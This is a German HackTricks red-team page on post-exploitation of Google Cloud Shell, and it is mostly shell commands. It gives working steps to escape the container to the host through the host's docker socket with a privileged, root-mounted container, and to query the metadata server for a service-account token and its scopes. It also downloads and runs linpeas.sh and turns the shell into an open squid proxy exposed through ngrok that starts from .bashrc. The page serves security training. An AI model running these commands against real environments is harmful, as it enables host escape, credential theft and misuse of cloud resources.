GCP - Cloud Shell Post Exploitation

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Shell

Für weitere Informationen über Cloud Shell siehe:

GCP - Cloud Shell Enum

Container Escape

Beachte, dass die Google Cloud Shell in einem Container läuft, du kannst einfach zum Host entkommen, indem du:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Dies wird von Google nicht als Schwachstelle betrachtet, bietet jedoch einen umfassenderen Überblick darüber, was in dieser Umgebung geschieht.

Außerdem beachten Sie, dass Sie vom Host aus ein Dienstkonto-Token finden können:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Mit den folgenden Bereichen:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Metadaten mit LinPEAS auflisten:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Nach der Verwendung von https://github.com/carlospolop/bf_my_gcp_permissions mit dem Token des Servicekontos wurden keine Berechtigungen entdeckt...

Verwenden Sie es als Proxy

Wenn Sie Ihre Google Cloud Shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):

bash
sudo apt install -y squid

Nur zur Information: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine squid.conf-Datei mit den folgenden Einstellungen:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

Kopiere die squid.conf Datei nach /etc/squid

bash
sudo cp squid.conf /etc/squid

Führen Sie schließlich den Squid-Dienst aus:

bash
sudo service squid start

Verwenden Sie ngrok, um den Proxy von außen verfügbar zu machen:

bash
./ngrok tcp 3128

Nach dem Ausführen kopieren Sie die tcp:// URL. Wenn Sie den Proxy aus einem Browser ausführen möchten, wird empfohlen, den tcp:// Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browsereinstellungen für den Proxy einzufügen (squid ist ein HTTP-Proxy-Server).

Für eine bessere Nutzung beim Start sollte die .bashrc-Datei die folgenden Zeilen enthalten:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Die Anweisungen wurden von https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key kopiert. Überprüfen Sie diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) im Cloud Shell auszuführen.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks